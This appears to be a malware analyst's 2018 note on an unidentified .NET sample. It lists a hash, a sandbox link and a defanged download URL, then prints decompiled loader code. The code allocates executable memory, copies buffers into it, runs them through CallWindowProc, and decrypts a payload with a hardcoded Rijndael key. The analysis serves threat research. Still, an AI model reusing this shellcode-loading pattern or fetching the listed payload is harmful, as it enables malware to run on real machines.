2018-06-12 unknown malware

found by @James_inthe_box
https://twitter.com/James_inthe_box/status/1006288975621906438
470636811361e57b48d72095905cc829
https://www.hybrid-analysis.com/sample/dd96a1ab0450b5e856d9171c323ba119d3104b87877dc48d459ab7250e310703?environmentId=120

came from
mx2-dokidoki-ne[.]gq/exe/ALVINRIC.exe

------------------------
Interesting .net code
------------------------
[DllImport("user32.dll", EntryPoint = "CallWindowProc")]
[DllImport("kernel32", EntryPoint = "VirtualAlloc")]


// DevonEnergyCorporation
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

private static void GentekInc(object RockwellAutomationInc, object HillenbrandIndustriesInc)
{
	IntPtr hWnd = Marshal.StringToHGlobalUni(Assembly.GetEntryAssembly().Location);
	IntPtr intPtr = (IntPtr)(long)DevonEnergyCorporation.LimitedInc(0u, checked((uint)Convert.ToInt32(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(HillenbrandIndustriesInc, null, "Length", new object[0], null, null, null)))), 4096u, 64u);
	IntPtr intPtr2 = (IntPtr)(long)DevonEnergyCorporation.LimitedInc(0u, checked((uint)Convert.ToInt32(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RockwellAutomationInc, null, "Length", new object[0], null, null, null)))), 4096u, 64u);
	Type typeFromHandle = typeof(Marshal);
	object[] array = new object[4]
	{
		RuntimeHelpers.GetObjectValue(HillenbrandIndustriesInc),
		0,
		intPtr,
		null
	};
	object[] array2 = array;
	object instance = HillenbrandIndustriesInc;
	array2[3] = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance, null, "Length", new object[0], null, null, null));
	object[] array3 = array;
	object[] arguments = array3;
	bool[] array4 = new bool[4]
	{
		true,
		false,
		true,
		true
	};
	NewLateBinding.LateCall(null, typeFromHandle, "Copy", arguments, null, null, array4, true);
	if (array4[0])
	{
		HillenbrandIndustriesInc = RuntimeHelpers.GetObjectValue(array3[0]);
	}
	if (array4[2])
	{
		intPtr = (IntPtr)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array3[2]), typeof(IntPtr));
	}
	if (array4[3])
	{
		NewLateBinding.LateSetComplex(instance, null, "Length", new object[1]
		{
			RuntimeHelpers.GetObjectValue(array3[3])
		}, null, null, true, false);
	}
	Type typeFromHandle2 = typeof(Marshal);
	object[] array5 = new object[4]
	{
		RuntimeHelpers.GetObjectValue(RockwellAutomationInc),
		0,
		intPtr2,
		null
	};
	object[] array6 = array5;
	instance = RockwellAutomationInc;
	array6[3] = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(instance, null, "Length", new object[0], null, null, null));
	array3 = array5;
	object[] arguments2 = array3;
	array4 = new bool[4]
	{
		true,
		false,
		true,
		true
	};
	NewLateBinding.LateCall(null, typeFromHandle2, "Copy", arguments2, null, null, array4, true);
	if (array4[0])
	{
		RockwellAutomationInc = RuntimeHelpers.GetObjectValue(array3[0]);
	}
	if (array4[2])
	{
		intPtr2 = (IntPtr)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array3[2]), typeof(IntPtr));
	}
	if (array4[3])
	{
		NewLateBinding.LateSetComplex(instance, null, "Length", new object[1]
		{
			RuntimeHelpers.GetObjectValue(array3[3])
		}, null, null, true, false);
	}
	DevonEnergyCorporation.StorageTechnologyCorporation(intPtr, hWnd, intPtr2, 0, 0);
}


private static object WellsFargoCompany(object PoloRalphLaurenCorp)
{
	object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(null, Type.GetType("System.Security.Cryptography.Rijndael"), "Create", new object[0], null, null, null));
	try
	{
		object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue), null, "CreateDecryptor", new object[2]
		{
			new byte[32]
			{
				1,
				220,
				220,
				byte.MaxValue,
				62,
				246,
				11,
				77,
				41,
				28,
				227,
				139,
				132,
				238,
				138,
				87,
				29,
				133,
				199,
				5,
				47,
				49,
				183,
				248,
				166,
				43,
				204,
				42,
				106,
				81,
				157,
				132
			},
			new byte[16]
			{
				41,
				124,
				202,
				177,
				221,
				50,
				38,
				207,
				233,
				5,
				166,
				112,
				203,
				227,
				158,
				107
			}
		}, null, null, null));
		return NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(objectValue2), null, "TransformFinalBlock", new object[3]
		{
			RuntimeHelpers.GetObjectValue(PoloRalphLaurenCorp),
			0,
			RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(PoloRalphLaurenCorp, null, "Length", new object[0], null, null, null))
		}, null, null, null);
	}
	finally
	{
		if (objectValue != null)
		{
			((IDisposable)objectValue).Dispose();
		}
	}
}